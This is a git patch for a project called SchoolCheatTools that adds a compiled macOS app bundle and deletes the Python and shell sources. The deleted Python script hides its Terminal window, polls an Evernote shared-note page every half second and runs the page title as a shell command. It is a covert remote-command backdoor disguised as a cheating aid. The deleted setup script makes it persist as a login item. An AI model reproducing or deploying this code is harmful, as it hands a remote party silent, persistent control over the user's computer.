From 9d6b5c7848829ad23fd96459ad2a57c64f73dbe8 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 9 Aug 2023 17:49:26 +0800 Subject: updated --- SchoolCheatTools | Bin 0 -> 4448592 bytes SchoolCheatTools.app/Contents/Info.plist | 24 ++++ .../Contents/MacOS/SchoolCheatTools | Bin 0 -> 4448592 bytes .../Contents/Resources/icon-windowed.icns | Bin 0 -> 110199 bytes .../Contents/_CodeSignature/CodeResources | 128 +++++++++++++++++++++ SchoolCheatTools.py | 39 ------- SchoolCheatTools.sh | 2 - setup.sh | 8 -- 8 files changed, 152 insertions(+), 49 deletions(-) create mode 100755 SchoolCheatTools create mode 100644 SchoolCheatTools.app/Contents/Info.plist create mode 100755 SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools create mode 100755 SchoolCheatTools.app/Contents/Resources/icon-windowed.icns create mode 100644 SchoolCheatTools.app/Contents/_CodeSignature/CodeResources delete mode 100644 SchoolCheatTools.py delete mode 100644 SchoolCheatTools.sh delete mode 100644 setup.sh diff --git a/SchoolCheatTools b/SchoolCheatTools new file mode 100755 index 0000000..ca00135 Binary files /dev/null and b/SchoolCheatTools differ diff --git a/SchoolCheatTools.app/Contents/Info.plist b/SchoolCheatTools.app/Contents/Info.plist new file mode 100644 index 0000000..b490828 --- /dev/null +++ b/SchoolCheatTools.app/Contents/Info.plist @@ -0,0 +1,24 @@ + + + + + CFBundleDisplayName + SchoolCheatTools + CFBundleExecutable + SchoolCheatTools + CFBundleIconFile + icon-windowed.icns + CFBundleIdentifier + SchoolCheatTools + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + SchoolCheatTools + CFBundlePackageType + APPL + CFBundleShortVersionString + 0.0.0 + NSHighResolutionCapable + + + diff --git a/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools b/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools new file mode 100755 index 0000000..37eda98 Binary files /dev/null and b/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools differ diff --git a/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns b/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns new file mode 100755 index 0000000..954a9a0 Binary files /dev/null and b/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns differ diff --git a/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources b/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ + + + + + files + + Resources/icon-windowed.icns + + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + + + files2 + + Resources/icon-windowed.icns + + hash2 + + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + + + + rules + + ^Resources/ + + ^Resources/.*\.lproj/ + + optional + + weight + 1000 + + ^Resources/.*\.lproj/locversion.plist$ + + omit + + weight + 1100 + + ^Resources/Base\.lproj/ + + weight + 1010 + + ^version.plist$ + + + rules2 + + .*\.dSYM($|/) + + weight + 11 + + ^(.*/)?\.DS_Store$ + + omit + + weight + 2000 + + ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ + + nested + + weight + 10 + + ^.* + + ^Info\.plist$ + + omit + + weight + 20 + + ^PkgInfo$ + + omit + + weight + 20 + + ^Resources/ + + weight + 20 + + ^Resources/.*\.lproj/ + + optional + + weight + 1000 + + ^Resources/.*\.lproj/locversion.plist$ + + omit + + weight + 1100 + + ^Resources/Base\.lproj/ + + weight + 1010 + + ^[^/]+$ + + nested + + weight + 10 + + ^embedded\.provisionprofile$ + + weight + 20 + + ^version\.plist$ + + weight + 20 + + + + diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py deleted file mode 100644 index 0c38f94..0000000 --- a/SchoolCheatTools.py +++ /dev/null @@ -1,39 +0,0 @@ -#setup -from bs4 import BeautifulSoup -import requests -import os -from time import * -old_command = 0 -command = 0 -os.system('clear') -os.system('osascript -e \'tell application "Terminal" to set visible of front window to false\'') - -print(''' - -░██████╗░█████╗░██╗░░██╗░█████╗░░█████╗░██╗░░░░░░█████╗░██╗░░██╗███████╗░█████╗░████████╗████████╗░█████╗░░█████╗░██╗░░░░░░██████╗ -██╔════╝██╔══██╗██║░░██║██╔══██╗██╔══██╗██║░░░░░██╔══██╗██║░░██║██╔════╝██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░██╔════╝ -╚█████╗░██║░░╚═╝███████║██║░░██║██║░░██║██║░░░░░██║░░╚═╝███████║█████╗░░███████║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░╚█████╗░ -░╚═══██╗██║░░██╗██╔══██║██║░░██║██║░░██║██║░░░░░██║░░██╗██╔══██║██╔══╝░░██╔══██║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░░╚═══██╗ -██████╔╝╚█████╔╝██║░░██║╚█████╔╝╚█████╔╝███████╗╚█████╔╝██║░░██║███████╗██║░░██║░░░██║░░░░░░██║░░░╚█████╔╝╚█████╔╝███████╗██████╔╝ -╚═════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░░╚════╝░╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝╚═════╝░ - -IMPORTANT *** PLEASE KEEP THIS WINDOW OPEN -IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BACKSTAGE, DO NOT CLOSE THE TERMINAL WINDOW, OTHERWISE SCHOOLCHEATTOOLS WON’T WORK -''') - -while True: - #get HTML - try: - html_file = requests.get("https://www.evernote.com/shard/s721/sh/5ff8aabd-e957-668f-0503-01487d76ba01/GvzSxqlewn4fb3pQpdAww5TUVhNThgVRizYNHu0SI2y5ROrlfE0Dop_EZQ").text - soup = BeautifulSoup(html_file, 'lxml') - command = soup.find('title').text - except: - print("failed to connect to server") - #execute command - if old_command != command: - try: - os.system(command) - old_command = command - except: - pass - sleep(0.5) diff --git a/SchoolCheatTools.sh b/SchoolCheatTools.sh deleted file mode 100644 index bc4dc3e..0000000 --- a/SchoolCheatTools.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/zsh -python3 ~/SchoolCheatTools/SchoolCheatTools.py diff --git a/setup.sh b/setup.sh deleted file mode 100644 index 88a1603..0000000 --- a/setup.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/zsh -/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && brew install python@3.11 && pip3 install requests bs4 lxml && chmod +x /start.sh -chmod +x ~/SchoolCheatTools/SchoolCheatTools.sh -cd ~ -sh_dir=$HOME -sh_dir+=/SchoolCheatTools/SchoolCheatTools.sh -echo $sh_dir -osascript -e "tell application \"System Events\" to make new login item at end with properties {path:\"$sh_dir\"}" -- cgit v1.2.3